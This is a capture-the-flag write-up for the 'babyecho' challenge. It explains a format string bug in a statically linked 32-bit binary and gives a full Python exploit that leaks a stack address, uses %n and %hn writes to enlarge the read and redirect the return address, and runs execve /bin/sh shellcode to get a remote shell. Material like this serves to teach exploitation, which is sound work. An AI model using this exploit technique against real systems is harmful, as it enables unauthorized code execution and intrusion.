한국어(Korean): Link


We are given a binary below:

babyecho_eb11fdf6e40236b1a37b7974c53b6c3d

Checking out the protections, there is no canary, NX or PIE.

When we open it with IDA, there are lots of functions. It's because it is statically compiled. It makes it harder to analyze the binary.

We follow "Reading %d bytes" in String section to find 0x8048f3c function.

There is 14-second alarm so we turn it off to debug without being disturbed. Function 0x804f560 looks like printf and it only takes 1 argument. We can assume there is Format String Bug. Let's make lots of BPs after function calls.

printf is executed on stopping at BP 0x8049014. In addition, we write "%x %x" as input and "d a" came out.

Let's take a look at the stack.

We can check that there indeed is d and a. Also our input is stored at 0xffffd2dc and the pointer of the buffer is there too.

0xd is 13, and let's change this value and see if it reads more bytes. There are two 0xd so we change one by one and when the value at 0xffffd2d0 is changed, it reads more bytes.

So we first change it to use more space in buffer, put shellcode there, then change return address to the address of buffer.

Stage 1: The server has ASLR, so we find out the address of buffer by inputting "%5$x" (0xffffd2dc).

Stage 2: Subtract buf(address fetched from above step) by 12(0xffffd2d0) to get the address of reading size. Then write this address first so that we can modify it with "%7$n", followed by "%99c" to increase the value from 13 to 99. The reason for choosing 99 is because at first, payload must not exceed 13Byte, and '\xd0\xd2\xff\xff%99c%7$n\n' is the most we can get out of it.

Stage 3: Write NOP+shellcode in buffer.

Stage 4: Return address is storead at buf+1040, and we overwrite it with buf+28 because as we overwrite return address, that payload will overwrite the first few bytes of buffer. To overwrite it, %4294956780c is needed but it's too much so we'll break down into two steps where each step write 2 Bytes by "%hn": '\xec\xd6\xff\xff%54008c%7$hn', '\xee\xd6\xff\xff%65531c%7$hn'

I made payload as written above and sent it to server, but it did not work. It was because for our shellcode to be executed, main has to return, but it doesn't. It just keeps looping infinitely and exit by alarm. I looked into it more carefully and found that if esp+0x18 is not 0, main returns.

So finally, write any non-zero number in buf-4.

Here's my final payload.

from socket import *
from struct import pack

p = lambda x:pack("<I", x)
s = socket(2,1)
s.connect(('babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me',3232))

# first
print s.recv(1024)
s.send('%5$x\n')
buf = int(s.recv(1024), 16)
s.recv(1024)
print hex(buf)

# second
N=(buf-0xc)
payload = p(N)+"%99c%7$n\n"
print '[+]payload len:',len(payload)
s.send(payload)
print s.recv(1024).encode('hex')

# third
print s.recv(2**20)
payload = '\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' # x86 shellcode
payload = '\x90'*70+payload+'\n'
s.send(payload)
s.recv(2**16)

# fourth: bottom half
print s.recv(1024)
payload = p(buf+1040)+'%'+str((buf+28)&0xffff).rstrip('L')+'c%7$hn\n'
print '[+]third payload:',payload[:4].encode('hex')+payload[4:]
print '[+]third len:',len(payload)
s.send(payload)
print s.recv(2**16)

# fifth: top half
print s.recv(1024)
payload = p(buf+1042)+'%'+str((((buf+28)&0xffff0000)>>16)-4).rstrip('L')+'c%7$hn\n'
print '[+]fourth payload:',payload[:4].encode('hex')+payload[4:]
print '[+]fourth len:',len(payload)
s.send(payload)
print s.recv(2**16)

s.send('%267$x\n')

# exit
print s.recv(2**16)
payload = p(buf-4)+'%7$n\n'
s.send(payload)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


Flag: 1s 1s th3r3 th3r3 @n @n 3ch0 3ch0 1n 1n h3r3 h3r3? 3uoiw!T0*%

+ Recent posts